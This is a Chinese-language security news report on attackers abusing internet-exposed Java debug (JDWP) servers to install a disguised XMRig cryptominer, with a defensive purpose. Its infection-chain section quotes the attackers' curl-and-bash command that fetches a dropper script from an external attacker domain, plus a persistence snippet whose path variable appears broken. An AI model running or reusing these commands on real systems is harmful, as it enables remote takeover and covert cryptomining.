黑客利用暴露在公網的Java調試協議服務器部署挖礦惡意軟件
網絡安全研究人員發現新一輪網絡攻擊正針對那些無意中將Java調試線協議(JDWP)服務器暴露在互聯網上的組織機構。攻擊者利用這一被忽視的入口點,部署復雜的加密貨幣挖礦惡意軟件。
漏洞利用機制
JDWP作為Java平臺的標準功能,本意是讓開發人員能夠檢查實時應用程序,從而促進遠程調試。但當JDWP在生產系統中保持可訪問狀態時——通常由于配置錯誤或在生產環境中使用開發標志——它就會成為遠程代碼執行的強大載體。
這種威脅的出現伴隨著快速的利用周期。在多個觀察到的案例中,攻擊者能夠在系統暴露后數小時內入侵易受攻擊的機器。攻擊流程通常始于對開放JDWP端口(最常見的是5005端口)的大規?;ヂ摼W掃描。一旦識別到目標,攻擊者會發起JDWP握手以確認服務處于活動狀態,然后建立會話,獲得對Java虛擬機(JVM)的交互式訪問權限。這種訪問權限使攻擊者能夠枚舉加載的類并調用方法,最終實現在主機上執行任意命令。
攻擊技術分析
Wiz安全分析師在觀察到針對其TeamCity(一種流行的CI/CD工具)蜜罐服務器的利用嘗試后,確認了此次攻擊活動。攻擊者表現出高度的自動化和定制化能力,部署了經過修改的XMRig挖礦程序,其中包含硬編碼配置以規避檢測。
值得注意的是,該惡意軟件使用礦池代理來隱藏目標錢包地址,增加了追蹤或破壞非法挖礦操作的難度。這些攻擊的影響十分嚴重。通過濫用JDWP,威脅行為者不僅可以部署挖礦程序,還能建立深度持久性、操縱系統進程,并可能轉向入侵環境中的其他資產。惡意軟件隱蔽的特性,加上其能夠偽裝成合法系統工具的能力,增加了長期未被發現活動和資源耗盡的風險。
感染鏈剖析
聚焦感染機制,攻擊者利用JDWP缺乏身份驗證的特點,直接通過協議注入和執行shell命令。建立會話后,他們通常會使用如下命令下載投放器腳本(如logservice.sh):
curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh
bash /tmp/logservice.sh
該腳本經過精心設計,能夠終止競爭挖礦程序,下載偽裝成logrotate的惡意XMRig二進制文件,并將其安裝到用戶的配置目錄中。隨后,腳本會設置多種持久化機制,包括修改shell啟動文件、創建定時任務以及安裝偽造的系統服務。
以下代碼片段展示了腳本如何通過shell配置確保持久性:
add_to_startup() {
if [ -r "q" ]; then
if ! grep -Fxq "$EXEC >/dev/null 2>&1" "q"; then
echo "$EXEC >/dev/null 2>&1" >> "q"
fi
fi
}
這種感染鏈既高效又具有彈性,使得挖礦程序能夠在系統重啟和用戶登錄后繼續存活。攻擊者使用看似合法的進程名稱和系統位置,進一步增加了檢測和修復的難度,這凸顯了加強配置管理和嚴格監控暴露服務的必要性。